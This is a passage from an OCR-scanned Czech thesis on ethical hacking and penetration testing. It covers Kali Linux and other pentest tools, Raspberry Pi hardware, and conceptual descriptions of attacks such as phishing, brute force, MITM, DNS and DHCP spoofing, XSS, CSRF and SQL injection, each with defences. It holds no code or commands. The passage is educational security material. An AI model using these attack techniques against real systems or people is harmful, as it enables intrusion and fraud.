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Anotace

Téma je zaméfeno na problematiku etického hackingu a penetraénich testi. Ukolem je
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Linux, Nessus). Pomoci vytvofenych testovacich scénaiu budou realizovany penetraéni
testy. Praktickd ¢ast se zaméri na zjisténi zranitelnosti jednodeskového pocitace Raspberry

Pi a zhodnoceni vysledkil z pohledu pouzitych testovacich nastroju.
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Uvod

V dnesni dobé, kterou lze dozajista nazvat pocitacovou, nas pocitace a souvisejici nastroje
vypocetni techniky obklopuji témér na kazdém kroku, at uz se jedna o soukromy nebo
firemni sektor, nemocnice, urady, banky a tak dale. Z historického pohledu nastal zasadni
zlom v momenté, kdy mezi sebou jednotlivé pocitace dokazaly vzajemné komunikovat
diky pocitacové siti. Dnes jiz pocitacové sité, at uz kabelové ¢i bezdratové, neodmyslitelné
patii k zakladnimu ,,vybaveni* naprosté vétsiny domacnosti a podniki. Rostouci obliba
pocitacovych siti sebou bohuzel prinesla i stinnou stranku v podobé rtiznych sitovych ttoki.
Diky tomu vznikla potieba revidovat a testovat zabezpeceni pocitacovych siti, aby doslo
k minimalizaci rizika naruseni nezadoucimi osobami, odcizeni nebo jinému znehodnoceni
dulezitych dat a podobné. Tato potieba ¢asem dospéla do ucelené podoby pod oznacenim
penetracni testovani.

Teoreticka c¢ast této prace se zabyva problematikou penetracniho testovani. Nejprve
jsou zde predstaveny jak komplexni linuxové distribuce, zamérené na tuto problematiku,
tak i samostatné nastroje zamérené na jednotlivé oblasti penetra¢niho testovani. Diraz
je kladen zejména na linuxovou distribuci Kali Linux, a to predevsim na jeji historii
a prehled nastroji. V této casti prace je dale predstavena problematika jednodeskovych
pocitacu s durazem na Raspberry Pi, jeho historii a softwarové i hardwarové vybaveni.
Daéle je zde uvedena kategorizace nejcastéjsich typt utokd v ramci pocitacovych siti.
Podstatnou ¢asti je samotny rozbor penetracniho testovani a etického hackingu, zavedeni
pojmu utocnik a hackerska etika, a dale také predstaveni riznych v praxi vyuzivanych
metodik pro penetrac¢ni testovani v cele se statistikami pocitacové kriminality a nove
vznikajicim narizenim o ochrané osobnich udaji. Ve zbytku teoretické casti jsou pak
podrobnéji rozebrany jednotlivé druhy pouzivanych testu.

Prakticka c¢ast této prace je zamérena na penetracni testovani za pomoci dvojice
jednodeskovych pocitactt Raspberry Pi 3. V tivodu je kromé procesu sestaveni popsan
také postup pro instalaci a zprovoznéni linuxové distribuce Kali Linux, kterd je déle
vyuzita pro ucely samotného testovani. Stézejni ¢ast se vénuje realizaci vybranych typu
ttokt, kdy jedno Raspberry Pi predstavuje tto¢nika a druhé obét. Utoky jsou vedeny

skrze bezdratovou sit, a to jak zvenci tak zevnitt. V zavéreéné ¢asti praktické prace je
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pak uvedeno prehledné shrnuti provedenych utoku véetné dosazenych vysledkii. Nedilnou
soucasti je také popis moznosti obrany proti ttokim, které byly v ramci praktické c¢asti

realizovany.
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1 Linux

Oznaceni Linux nebo pfipadné GNU /Linux znamend operacni systém pocitace, ktery je
zalozeny na linuxovém jadre. Tento opracni systém je svobodny. To znamena, ze operac¢ni
systém je mozné napriklad libovolné pouzivat, kopirovat, sdilet nebo ho i upravovat podle
potieby. Touto vlastnosti se odlisuje od proprietarnich operac¢nich systémii, které zdarma

nejsou a u kterych je nutné striktné dodrzovat podminky licencovani. [4, [5]

Obrazek 1: Logo operacniho systému Linux. [3]

1.1 Historie

Historie dnesniho Linuxu zacala jiz v roce 1983, kdy Richard Matthew Stallman zahajil
projekt, jehoz cilem bylo zkonstruovani zcela nového operac¢niho systému, jenz by vyuzival
pouze svobodny a otevieny software. Vysledkem tohoto projektu byl operacni systém
nazvany GNU. V roce 1990 zacal vyvoj jadra Hurd, jehoz cilem bylo zajisténi béhu
operacniho systému GNU a jeho komunikace s hardwarem. [4] ]

V roce 1991 zacal s vyvojem vlastniho jadra jménem Linux také Linus Torvalds, ktery
studoval na finské univerzité v Helsinkach. Linus se inspiroval u komeréniho opera¢niho
systému MINIX, jehoz autorem byl Andrew Tanenbaum. Samotny vyvoj ziskal pozornost

okoli a zacali se pridavat dalsi spolupracovnici. [4] 5]

17



Vyvoj Linuxu byl o mnoho rychlejsi nez vyvoj jadra Hurd a vysledkem bylo slou-
¢eni jadra Linux s operacnim systémem GNU. Odtud také prameni jiz zminény nazev
GNU/Linux. [4, 5]

Soucasnym logem Linuxu je tucnak Tux, ktery byl vytvotren na zdkladé obrazku Lerryho

Ewinga z roku 1996. [4, [5]

1.2 Linuxové distribuce

Pojem distribuce oznacuje spojeni jadra operacniho systému a dalsich programt, které
spolecné tvori komplexni operacni systém. V soucasnosti existuje vice nez 450 riznych
distribuci, které se lisi napriklad pouzitym balickovacim systémem pro instalaci programi,
moznosti béhu i na pocitacich se starsim a méné vykonym harwarem nebo specialnim
zamerenim. Mezi nejznaméjsi soucasné linuxové distribuce patii napriklad Debian, Ubuntu
a jeho derivaty Mint, Xubuntu a jiné, Fedora, Gentoo, Arch Linux, openSUSE a CentOS.
Prikladem popularni linuxové distribuce se specidlnim zaméfenim je mimo jiné také Kali

Linux, jez se zaméfuje na bezpecnost a penetracni testovani. [5] [§]
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2 Kali Linux

Kali Linux je specializovand linuxova distribuce vyvijena spolecnosti Offensive Security. Je
zalozena na popularni distribuci Debian a soustiedi se predevsim na oblast penetra¢niho
testovani a bezpecnostnich auditti. Pro tyto potifeby obsahuje vice nez 600 rtznych
sofistikovanych nastroji. Nespornou vyhodou je také podrobna dokumentace a fakt, ze

ziskéni a vyuzivani Kali Linuxu je kompletné zdarma. [6l 9]

Obrazek 2: Logo Kali Linux. [24]

2.1 Historie

Kali Linux i jeho znamy predchiidce Backtrack vychazeji z linuxové distribuce Knoppix,
ktera predstavovala jednu z prvnich spustitelnych distribuci bez nutnosti instalace na pevny
disk. Poté doslo k rozvétveni, jehoz vysledkem byl vznik nové distribuce jménem WHoppix.
Nasledovalo dalsi rozdéleni a vznik distribuce WHAX, ktera jiz v zakladu obsahovala
nastroje a skripty pro penetracni testovani. Nazev WHAX vznikl spojenim slov White
Hat (eticky hacker, ktery se zabyva penetraénim testovinim za tcelem ovéfeni a zlepseni
bezpecénosti napriklad informacnich systémi) a Slax (moduldrni linuxovd distribuce).
A pravé z WHAXu vychazi primy predchiidce Kali Linuxu, profesionalni linuxova distribuce
Backtrack, ktera se specializuje na penetracni testovani pocitacovych siti, informacnich

a opera¢nich systému a hardwaru. [10]
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Verze Backtrack Linux:

o Backtrack 1.0 — prvni vydani v roce 2006,

o Backtrack 2 — rok 2007,

o Backtrack 3 — rok 2008,

o Backtrack 4 — rok 2010,

o Backtrack 5 — rok 2011,

o Backtrack 5 R3 — posledni verze, ktera vysla v roce 2012 obsahovala nékolik set
nastroju urcenych pro penetracni testovani rozdélenych do dvanacti kategorii podle

jejich zaméteni. [11]

Jako dalsi v poradi méla vyjit verze 6, ale tvirci dospéli k nazoru, ze se nékolik let
zastaralou architekturou nemohou tspésné zrealizovat své nové planované funkce. Zacali
proto znovu od zac¢atku a s novym nazvem — Kali Linux. [6, [13]

Mezi jeho hlavni vyhody patii napriklad rozsahla podpora bezdratovych zarizeni,
podepisovani jednotlivych balick jejich tvirci, vicejazy¢na podpora, moznosti prizptisobeni
véetné jadra a v neposledni rfadé také podpora ARM procesort, ktera nam otevira nové
moznosti vyuziti Kali Linuxu na jednodeskovych pocitacich typu Raspberry Pi nebo

Arduino, které jsou velmi levné a Siroce prizpusobitelné. [6]

2.2 Kategorie nastroji obsazenych v Kali Linux

Platforma pro penetracni testovani Kali Linux obsahuje velké mnozstvi riznych néstroji.
Tyto nastroje pokryvaji celou oblast procesu penetracniho testovani od pocatecniho sbéru
informaci o cili testovani az po zavérecné vyhodnoceni vysledki a reportovani. Rozdéleni

nastroji do jednotlivych kategorii bylo logickym krokem. Kategorii je celkem tfinact:

shromazdovani informaci,

e nalezeni zranitelnosti,

o bezdratové utoky,

o webové aplikace,

« zneuziti nalezenych zranitelnosti,
o forenzni nastroje,

o zatézové testy,
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« prolamovani hesel,
e ziskani pristupu,

o reverzni inzenyrstvi,
e hardware hacking,
« sniffing a spoofing,

« reportovaci nastroje. [14]

2.3 Nejznameéjsi nastroje obsazené v Kali Linux

Mezi popularni néstroje urcené pro penetracni testovani a bezpecnostni audit, které jsou

integrované v Kali Linuxu patii napriklad:

o Nmap, nastroj pro mapovani pocitacovych siti a bezpecnostni audit,

o Metasploit, framework pro penetracni testovani,

o John The Ripper, utilita pro prolamovani sifrovanych hesel,

o SQLmap, nastroj pro detekci a zneuziti SQL injectionﬂ

o Wireshark, nastroj pro analyzu sitového provozu,

o Aircrack-ng, slouzici k prolamovani hesel k bezdratovym sitim zabezpecenym pomoci

WEP a WPA. [14]

!Technika napadeni databdzové vrstvy programu vsunutim poskozujictho kédu diky neogetfenému vstupu.
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3 Alternativni linuxové distribuce pro pene-

traéni testovani

Velmi znamy Backtrack a z néj vychazejici Kali Linux samoziejmé nejsou jedinymi li-
nuxovymi distribucemi, které se specializuji na penetracni testovani. Nize jsou strucné

predstaveny dalsi linuxové distribuce, které se pro tcely penetracniho testovani vyuzivaji.

3.1 Blackbuntu

Popularni alternativou je predevsim Blackbuntu, které vychazi z Ubuntu, coz je nejvice
rozsitena linuxova distribuce mezi béznymi uzivateli. O samotny vyvoj Blackbuntu se stara
pomérné velka uzivatelska komunita, ktera je slozena z nadsencii problematiky pocitacové

bezpecnosti. [2]

3.2 Pentoo

Pentoo je dalsi z linuxovych distribuci, které jsou zaméreny na oblast bezpecnosti a pene-
tracnich testi. Pentoo vychézi z distribuce Gentoo a disponuje nejen upravenymi nastroji,
ale i zménénym jadrem. Za vyvojem nestoji zadna velka spolec¢nost, nybrz opét komunita

uzivatelu. [15]

3.3 Ostatni

Mezi dalsi dostupné, ale méné znamé alternativy dale patti:

o BlackBox,

o Caine,

o Fedora Security Lab,
e Matriux,

e NodeZero,

» Weakerth4n. [16]
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4 Samostatné utility pro penetracni testo-
vani

Kromé operacnich systémi, které sdruzuji vice nastroju k testovani existuji i samostatné
aplikace, zamérené na danou konkrétni oblast, napriklad vyhledani zranitelnosti, zneuzivani

zranitelnosti, testy webovych aplikaci, databazovych aplikaci a dalsi. [16]

4.1 Nastroje pro vyhledani zranitelnosti

e Nessus,

o Nexpose,

OpenVAS,

Core Impact Pro. [16]

4.2 Nastroje pro zneuziti zranitelnosti

o Metasploit, ktery lze vyuzit i v Kali Linux,
« Core Impact Pro. [16]

4.3 Nastroje pro otestovani webovych aplikaci

o Acunetix,

« Samurai Web Testing Framework. [16]

4.4 Nastroje pro analyzu zabezpeceni opracnich sys-
tému

o Microsoft Baseline Security Analyzer, pro operacni systémy Windows,

o CYSOfy Lynis, pro UNIXové operacni systémy, ktery lze vyuzit i v Kali Linux. [16]
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5 Jednodeskovy pocitac

Jednodeskovy pocitac, ¢asto znacovan zkratkou SBC, je pocéita¢ velmi malych rozmért
integrovany v jedné desce plosnych spoji véetné procesoru, operacni paméti i vstupné-
vystupnich rozhrani. Mezi typické vlastnosti patti kromé malych rozmeéru také nizka
vaha, cena i spotfeba, moznost rozsiteni o pridavné moduly a unixovy operacni systém
s podporou ARM procesorii. Pocitace toho typu se vyuzivaji v siroké skéle oblasti, at uz se
jedna o ruzné ridici nebo mérici systémy, zpracovani dat ze senzort, multimedialni centra,
domaéci automatizaci, vzdélavaci ¢innost a podobné. [17, [I§]

Mezi nejznaméjsi jednodeskové pocitace patii:

Raspberry Pi,

Arduino,

Intel Edison,
Banana Pi. [19]
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6 Raspberry Pi

Jednodeskovy pocita¢ Raspberry Pi pochazi z Velké Britanie, kde ho vyrabi firma Raspberry
Pi Foundations. Pivodnim zamérem firmy bylo vyrobit SBC o velikosti zhruba bézné
platebni karty a vyuzit jej pro vzdélavaci ucely studentii informatiky na tamnich univerzi-
tach. Raspberry Pi se ovSem béhem kratkého obdobi stalo velmi popularnim zejména diky

mnohostranému vyuziti a jen za prvni rok prodeje prekrocily jeden milion kusa. [17], 20, 21]

" FCC1D: ZABCH-RPIZ
IC: 20933-RP132

HOam

Obrazek 3: Raspberry Pi 3 Model B. [22]

6.1 Modelova rada

Od doby, kdy firma Raspberry Pi Foundations predstavila sviij prvni model jednodeskového
pocitace Raspberry Pi jiz uplynulo nékolik let, béhem kterych doslo k jeho vylepseni a také

k predstaveni novych modeli.
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6.1.1 Prehled modelu

Chronologicky serazeny prehled modeli jednodeskového pocitace Raspberry Pi:

o Raspberry Pi Model A,

o Raspberry Pi Model A+,
e Raspberry Pi 1 Model B,
« Raspberry Pi 1 B+,

o Raspberry Pi 2 B+,

« Raspberry Pi ZERO,

« Raspberry Pi 3 B,

« Raspberry Pi ZERO W. [23]

6.1.2 Hardwarova vybava

Spolu s vyvojem vylepsenych verzi a novych modelii Raspberry Pi se postupné zlepsil i jeho

vykon diky inovovanému hardwaru. Nize uvedeny obrazek zachycuje prehled hardwarové

vybavy vybranych modeli Raspberry Pi.

Raspberry Pi 3 Model B

Processor Broadcom BCM2837 64Bit Quad
Chipset Core ARM Cortex A53 at 1.2GHz
GPU Videocore IV @ 400MHz
g:}:f;ss“" QUAD Core @1.2 GHz
RAM 1GB SDRAM @ 400 MHz
Storage MicroSD

USB 2.0 4x USB Ports
Drawivoitage 254.@ 5V

GPIO 40 pin

Ethernet Port Yes

WiFi Built in

Bluetooth LE Built in

Video Output  HDMI/Composite via RCA Jack
Audio Output 3.5mm Jack

Raspberry Pi 2 Model B

Broadcom BCM2836 32Bit Quad
Core ARMv7 at 900MHz

Videocore IV @ 250MHz

QUAD Core @900 MHz

1GB SDRAM @ 400 MHz
MicroSD
4x USB Ports

1.8A @ 5V

40 pin
Yes
No
No
HDMI/Composite via RCA Jack
3.5mm Jack

Raspberry Pi Model B+

Broadcom BCM2835 32Bit
ARMv6Ek at 700MHz

Videocore IV @ 250MHz

Single Core @700 MHz

512 MB SDRAM @ 400 MHz
MicroSD
4x USB Ports

1.8A @ 5V

40 pin
Yes
No
No
HDMI/Composite via RCA Jack
3.5mm Jack

Obrazek 4: Piehled hardwarové vybavy vybranych modelu. [23]
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6.1.3 Softwarova vybava

Vzhledem k tomu, ze Raspberry Pi, ale i jiné jednodeskové pocitace, obsahuji procesor zalo-
zeny na architekture ARM, je nutné pouzit upraveny operacni systém pro tuto architekturu.

Mezi hlavni linuxové distribuce, které se pouzivaji na Raspberry Pi patii:

o Raspbian, zalozeny na linuxové distribuci Debian,

e OpenELEC, vhodny pro realizaci multimedialniho centra,

e Arch Linux, ur¢eny pro zkusené uzivatele, kteri chtéji maximélni moznost prizptiso-
beni systému,

o Pidora, zalozeny na linuxové distribuci Fedora,

o OSMC, opét vhodny pro multimedidlni centrum. [20), 23 25]

Viibec nejznaméjsim operacnim systémem pro Raspberry Pi je Raspbian, ktery je ptimo
doporucovany vyrobcem a ma také nejrozsahlejsi komunitu uzivateli. Diky tomu je mozné
velmi snadno a rychle vyresit pripadné problémy uzivateli. Obecné je ale mozné pouzit
jakoukoliv linuxovou distribuci, kterda podporuje procesory architektury ARM. Podporou
ARM procesorti disponuje i jiz zminéna linuxova distribuce Kali Linux, kterou je diky
tomu mozné vyuzivat kromé Raspberry Pi i na dalsich SBC, napiiklad CuBox, BeagleBone,

ODroid a dalsi. [20, 25, 26]
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7 Typy utoku

7.1 Socialni inzenyrstvi

Socidlni inzenyrstvi je mezi ttoc¢niky velmi popularni a hojné vyuzivany typ utoku. Pod-
statou této metody je ziskani klicovych informaci, které je nasledné ttoc¢nik schopen
zneuzit pro naruseni bezpecnosti. Mezi informace, které lze vyuzit k tomuto utoku patti
napriklad ziskani emailovych adres zaméstnancii nebo znalost jmen administratori dané
spolecnosti. Klicovym faktorem pro tispéch je schopnost tito¢nika vérohodné se vydavat
za osobu, kterou zaméstnanec povazuje za duvéryhodnou. Po ziskani prvotnich informaci
se utocnik pokousi ziskat dalsi dil¢i citlivé informace napiiklad s vyuzitim telefonatt
zameéstnancium, kdy se utoénik vydava za spravce a zada o sdéleni hesel. Dalsim prikladem
ziskdvani informaci jsou podvrzené maily cilené na konkrétni osoby neboli phishing. Pokud
elektronicka zprava od ttocénika plisobi dostatecné vérohodné a obsahuje udaje, které
jsou zameéstnanci znamé, zaméstnanec utocnikovi sdm dobrovolné a v dobré vire sdéli
pozadované informace.

Techniky phishingu jsou také ¢asto pouzivané v souvislosti ziskavani hesel a zabezpeco-
vacich kéda k bankovnim uc¢ttim nebo dalsich davérnych informaci o kreditnich kartéch
u riznych penéznich instituci. Jen béhem mésice inora roku 2017 se tercem phishingu,
podle Narodniho bezpecnostniho uradu, stali uzivatelé hned dvou velkych ¢eskych ban-
kovnich spole¢nosti, konkrétné Ceska spofitelna a Fio banka Dalsim prikladem vyuziti
phishingu je stale se rozsirujici virus Ransomware, ktery uzivatel nevédomé obdrzi napri-
klad pri snaze otevrit prilohu *.pdf, ktera ve skutecnosti maskuje nezddouci spustitelny
soubor *.exe. Po aktivaci pak zapoc¢ne bez védomi uzivatele sifrovani vybranych typu
soubort nebo i celého obsahu pevného disku pocitace. Az je proces zasifrovani dokoncen,
prekvapenému uzivateli je zobrazena hlaska o zasifrovani jeho osobnich souborii spolu s po-
zadavkem na uhrazeni vybrané ¢astky pro zaslani desifrovaciho klice. Vlastni desifrovani
je velmi slozité z divodu vyuziti silného sifrovaciho algoritmu. Paklize se Ransomware
zacne §itit do dalsich pocitach skrze firemni sit, jedna se o znac¢ny problém.

Ackoli se to muze zdat podivné, utok tohoto typu dosahuje vysoké tspésnosti, i kdyz

Zhttps://www.govcert.cz/download /bulletiny /bezpecnost-unor-2017/NCKB-Bulletin-1702.pdf
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jsou moznosti zakladni obrany proti utoku vecelku snadné:

o drzet se znamého réeni ,davéruj, ale provéruj®,

« nespéchat a nenechat se zahnat do tzkych napriklad pri telefonnim hovoru,

e nebyt prehnané zvédavy a neotvirat ihned vSechny neznamé prilohy;,

e nebyt prehnané sdilny co se tyce osobnich informaci v kontextu se socialnimi sitémi
a Spatnym nastavenim soukromi téchto informaci,

e poucit se z chyb ostatnich lidi, ktetri diky své nepozornosti napiiklad prisli o financ¢ni

prostiedky. [12, 30, 34]

7.2  Utok hrubou silou

Utok hrubou silou, anglicky brute force attack, pat¥{ mezi méné sofistikované ttoky. Cil
toho utoku je prosty — uhddnout heslo. Toto heslo, které chce itocnik pomoci hrubé sily
uhadnout, mtze napriklad patfit mezi prostredky, pomoci kterych je chranén pristup
k bezdratové siti. K uskute¢néni itoku hrubou silou se velmi casto vyuziva tak zvanych
slovnikii. Slovnik se casto sklada ze soupisu statisticky nejpouzivanéjsich hesel napti¢ uziva-
teli riznych zemi svétal’| Soucasti slovniku byvaji také hesla uZzivatel, kterd byla odcizena
pri nékterém z bezpecnostnich selhani zabezpeceni populérnich sluzeb. Samotny princip
provedeni titoku je pak velmi jednoduchy. Hesla se automatizované testuji a utocnikovi
staci pouze vyckat, zda se pristupové heslo shoduje s nékterym zaznamem v pouzitém
slovniku. Uspésnost ttoku hrubou silou také ¢asto zvySuje fakt, Ze heslo, které se ttocnik
snazi uhodnout, je snadno odhadnutelné. Dobrym prikladem snadno uhodnutelnych hesel

jsou nasledujici vyrazy:

e admin,

o administrator,
e pass,

e password,

o qwerty,

o 12345.
3https://keepersecurity.com/public/Most-Common-Passwords-of-2016-Keeper-Security-Study.pdf
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Vyse uvedend hesla jsou z bezpecnostniho pohledu problematickd hned z nékolika
divodt. Néktera z uvedenych hesel maji méné nez 8 znakt. Dalsim problémem je jed-
notvarnost, kdy hesla obsahuji bud pouze pismena nebo ¢islice a nedisponuji zadnymi
kombinacemi s vyuzitim specidlnich znaki. Znaénym problémem také je, Ze se jednd
o bézné pouzivana slova nebo vyrazy.

Mezi zakladni moznosti obrany proti titoku hrubou silou patii dostate¢né silné heslo

a zablokovani zadavani dalstho hesla po uréitém poctu netispésnych pokusu. [12, [31]

7.3 Hardwarové utoky

Hardwarové ttoky jsou specifickou skupinou, ktera se od ostatnich odlisuje jednou velmi
zasadni skutecnosti. Podminkou, kterd vyplyva uz ze samotného nazvu je, ze pokud
chce utocnik provést hardwarovy utok, musi k nému mit fyzicky pristup. Bez splnéni
této podminky neni mozné hardwarové utoky zrealizovat. Fyzickym pristupem mitze
byt napriklad piimé pripojeni kabelem k pristupovému bodu. Extrémnim pripadem
hardwarového ttoku pak muze byt kradez samotného serveru, z jehoz pevnych diskt muze

utocnik ziskat citliva data. Mezi znamé hardwarové ttoky patii:

o lokalni odposlech,
o man in the middle utok. [12]

Diky podmince primého pristupu k zafizeni se miize zdat tento typ tutoku velmi
tézce realizovatelny. Opak je vSak pravdou. Staci si predstavit situaci, kdy se ttoc¢nik
potrebuje dostat do internich prostor cilového subjektu, kterym mutze byt naptiklad sidlo
spole¢nosti. K tomu, aby byl ttoc¢nik tspésny mu teoreticky staci, aby se pohyboval
v blizkosti vchodu pro zaméstnance, predstiral probihajici telefonat a mél plné ruce. Uz
pri splnéni téchto téchto, s nadsazkou rec¢eno, podminek mu vznika Sance, ze néktery
z prochazejicich zaméstnanci, ktery vlastni ¢ipovou kartu, mu podrzi dvere, aby mohl
projit dovniti. Muze tedy dojit k oklamani skutecného zaméstnance cilového subjektu, coz

odpovida jiz zminénému utoku typu socialni inzenyrstvi.
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7.3.1 Lokalni odposlech

Jiz ze slova lokdlni, které je obsazeno v nazvu utoku, vyplyva, ze pokud chce utocnik utok
provést, musi se nachazet uvnitt dané sité. Prikladem muze byt oddélena sit s nékolika
poditadi a routerem, ktery neni pfipojen k internetu. Uto¢nik pak muze vyuZit napiiklad
pasivniho sifového prvku hub, pokud jsou zminéné pocitace k routeru pripojené sitovym

kabelem. [12]

7.3.2 Man in the middle

Do kategorie hardwarovych utokt miuzeme ¢astecné zaradit i itok MITM neboli ¢lovek
uprostied patif mezi velmi vyuzivané ttoky. Utoénik se po realizaci MITM ttoku stévé
jakymsi prostiednikem v probihajici komunikaci na siti. Vysledkem pak je, ze veskera
komunikace prochazi pres utoc¢nika, ktery ji muze sledovat, ale i modifikovat. Dilezitym
faktem je, ze obét utoku nic netusi, protoze komunikace bez problému probiha. Tento typ

utoku se mimo jiné vyuziva i v bezdratovych sitich. Do kategorie MITM ttokt patii:

o DHCP spoofing,

o DNS spoofing,

o ARP cache poisoning,

o MAC flooding,

o [CMP redirecting,

 port stealing a dalsi. [3T], 41]

7.4 Softwarové utoky

7.4.1 DoS

Utok typu DoS neboli odmitnuti sluzby se ¢asto vyuziva spolu s jinym typem ttoku,
napt. Man in the middle. DoS jako takovy neumoznuje ziskavani prihlasovacich adaja
a podobné. Je ale uzitecny naptiklad pro zameteni stop nebo alespon pro ¢astecné poskozeni
obéti znepristupnénim sluzby. Typickym prikladem je zptisobeni nedostupnosti webovych

stranek. Velkou vyhodou DoS utokt je fakt, ze jsou velmi tézce vystopovatelné. Dale

31



existuje modifikace DoS ttoku, ktera nese nazev DDoS. Pri itoku DDoS se pak vyuziva

i desitek tisic pocitacu, které byly pred ttokem napadeny skodlivym programem. [12], 31]

7.4.2 DHCP spoofing

Do kategorie softwarovych ttoka patii mimo jiné itok DHCP spoofing, jehoz cilem je
podvrzeni DHCP serveru obéti a sledovani komunikace. Pokud se uzivatel pripojuje poprvé
do pocitacové sité, z jeji stanice je odeslan paket DHCP discover, ktery projde celou siti
za Ucelem nalezeni DHCP servert. Uzivatel se do dané sité ptipoji pomoci DHCP serveru,
ktery mu na paket odpovi a zasle parametry pro pripojeni jako prvni. Zde je nejvétsi tskali
ttoku. Utoénik musi zajistit, aby jeho vlastn{ DHCP server obéti odpovédél jako prvnd,
pricemz uto¢nik nezné presny cas, kdy se obét bude pripojovat do sité a ze stanice vysle
paket DHCP discover. Utoénik viak miZe cilené vyfadit ostatni DHCP servery tak, Ze na
né bude cyklicky zasilat pozadavky na ptidéleni parametri pro pripojeni do sité. DHCP
servery vycerpaji svoji kapacitu a prestanou odpovidat na pakety DHCP discover a ani

neprodlouzi platnost stavajicich parametri. [12]

7.4.3 DNS spoofing

Jak jiz z nazvu vyplyva, utok souvisi s DNC, coz je hierarchicky systém doménovych jmen.
Cinnost DNS spociva v piekladu doménovych jmen na IP adresy. Cilem tispésného titoku je
pak podvrzeni IP adresy, ktera se vraci v odpovédi DNS serveru. Vysledkem je presmérovani
uzivatele na jinou stranku, nez na kterou uzivatel ve skutecnosti chtél pristoupit. Dané
obéf utoku o tom nemusi ani védét. Tohoto ttoku lze teoreticky vyuzit napt. pti pokusu
o pristoupeni do internetového bankovnictvi, kdy tatoc¢nik vytvori naprosto vérohodnou
kopii origindlnich webovych stranek dané penézni instituce véetné prihlasovaciho formulate
a dalsich prvkia. Obét pak nevédomky posle prihlasovaci idaje utoc¢nikovi. Aby skutecné
doslo k presmérovani obéti, itoénik musi zajistit, aby doslo ke zdrzeni odpovédi od

originalntho DNS serveru. K tomu muze vyuzit napt. atok DoS. [12]
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7.4.4 ARP cache poisoning

Pri tomto typu ttoku se vyuziva protokolu ARP, ktery umoznuje preklad IP adresy na
adresu MAC. Utok déle vyuziva absence ovéfovacich mechanismit protokolu ARP. Tento
utok se vyuziva v prepinanych sitich. Cilem utoku je presmérovani sitové komunikace obéti
na stanici itoc¢nika, pricemz k samotnému presmérovani se vyuziva podvrzenych ARP

zprav. [12, [42]

7.4.5 MAC flooding

Pro vykonani tohoto ttoku se vyuzivé aktivni sitovy prvek switch. Utok se tedy provadi
v prepinanych sitich. Kazdy switch obsahuje takzvanou CAM tabulku, kterda obsahuje
MAC adresy. Uto¢nik zasild mnozstvi rdmei s neplatnymi zdrojovymi MAC adresami
dokud nevycerpa kapacitu CAM tabulky. Nové zaznamy se v CAM tabulce jiz nebudou
vytvatret a ze switche se prakticky stane obycejny hub, protoze komunikace se zasild na
vSechny porty mimo port pichozi. Utoénik tak obdri sitovou komunikaci, kterd nenf

urCena primo jemu. [12, [42]

7.4.6 Buffer overflow

P1i tomto typu ttoku se vyuziva nespravné naprogramovanych aplikaci. Principem je
naplnéni proménné vétsi hodnotou, nez kterd je danym procesem ocekavana. Pri chybéjici
kontrole na format dat jsou data primo vlozena do paméti. Teoreticky muze dojit kromé
zhrouceni i k vykonani ptikazi na cilové stanici a ovladnuti pocitace. V dnesni dobé
je ale tento utok spise neucinny, protoze aplikace a operacni systémy jsou pravidelné

aktualizovany. [12]

7.5 Softwarové utoky na webové aplikace

Samostatnou kategorii je mozné vyc¢lenit pro itoky na webové aplikace. Webové aplikace

jsou v dnesni dobé hojné rozsitené a utoky na né jsou casté. Mezi utoky patii:

. XSS,
. CSRF,
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« SQL injection. [43], 44]

7.5.1 XSS

Pod zkratkou XSS se skryva ttok Cross-site scripting. Puvodni zkratka byla CSS. Od té se
vsak upustilo, protoze byl ttok ¢asto zaménovan se stejnou zkratkou oznacujici kaskadové
styly. Cross site scripting je jedna z viibec nejstarsich zranitelnosti webovych aplikaci.
Rozlisujeme dva druhy, a to trvaly nebo docasny. Trvaly mize byt znovu nacten, protoze
je ulozen v databazi. U doc¢asného dochazi pouze k upravé hodnot danych proménnych. Pri
uspésném provedeni utoku muze ttocnik ziskat napriklad session nebo cookies uzivatele.

Diky tomu se pak muze prihlasovat identitou obéti. [44] [45]

7.5.2 CSRF

Principem Cross Site Request Forgery je podvrzeni pozadavku mezi riznymi strankami.
Jedna se o utok na predem znamy cil, typicky CMS systémy. Pokud tto¢nik dobfe zna
strukturu, mtze vytvorit napt. odkaz, po jehoz kliknuti se mu ptidéli prava administratora.
Tento odkaz miuze zaslat obéti napriklad v emailu. Obranou proti tomuto titoku je testovani

hlavicky nebo autoriza¢ni token. [43]

7.5.3 SQL injection

Mezi viibec nejcastéji pouzivany utok, ktery spada do kategorie utokii na webové aplikace,
patii jednoznacné SQL injection. Princip utoku je vyuziti neosetfenych formulédrovych
vstupti ¢ programovych proménnych k rozsiteni SQL dotazi. Utok je vihodny diky tomu,
7e nezdlezi na cilové databédzi. Utok je proveditelny jak na MySQL, tak napiiklad i na
databézi Oracle. Utoénik mitZe pii Gspésném ttoku ziskat piistup k celé databdzi, kterou
muze libovolné upravovat a dokonce i smazat. Obrana proti ttoku je pritom vcelku snadna.
Zakladem je takzvané escapovani znaki, kontrola typu vstupnich hodnot a uzavirani
proménnych do apostrofii. Dalsim stupném obrany muze byt omezeni prav webové aplikaci

pro praci s databézi. [44]
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8 OWASP

OWASP je neziskova organizace, ktera byla zalozena v roce 2001 a méa priblizné 42 000 ¢lent
ve vice nez 100 zemich svéta véetné Ceské republiky. Zcela jisté se tedy jednd o nejvétsi
komunitu na svété, kterd se aktivné vénuje oblasti bezpec¢nosti webovych aplikaci. OWASP
zdarma poskytuje materidly, jako jsou publikace zamérené na bezpecny vyvoj nebo revize
zdrojovych kodu webovych aplikaci, emailové konference, testovaci nastroje a podobné. Tim
se snazi podporit znalosti vyvojara ohledné bezpecnostnich rizik a na zakladé dostupnych
ovérenych postupt docilit dobre navrzenych aplikaci z pohledu bezpecnosti. OWASP
ma také svoji vlastni metodiku pro penetracni testovani, ktera je podrobnéji zminéna
v kapitole Organizace OWASP zasttesuje vice nez 150 riiznych projektii. Mezi jeden
z nejzajimavéjsich patii OWASP Top 10, ktery je popséan v nésledujici podkapitole. [39] 40]

8.1 OWASP Top 10

Projekt OWASP Top 10 predstavuje aktualizovany vycet deseti nejkritictéjsich zranitelnosti,
které se v ramci webovych aplikaci vyskytuji. Dilezité je poznamenat, ze v dokumentuF_f]
lze kromé vycétu také nalézt vysvétleni principu dané zranitelnosti a také postup jak se ji

vyhnout. Nize je uveden seznam OWASP Top 10 pro rok 2017:

« injekce (SQL, OS, LDAP),

e Spatna sprava autentifikace a session,

« cross-site scripting (XSS),

o Spatné nastaveni opravneéni,

» Spatnd konfigurace zabezpeceni,

e Uunik citlivych dat,

e nedostatecnda ochrana proti utoku,

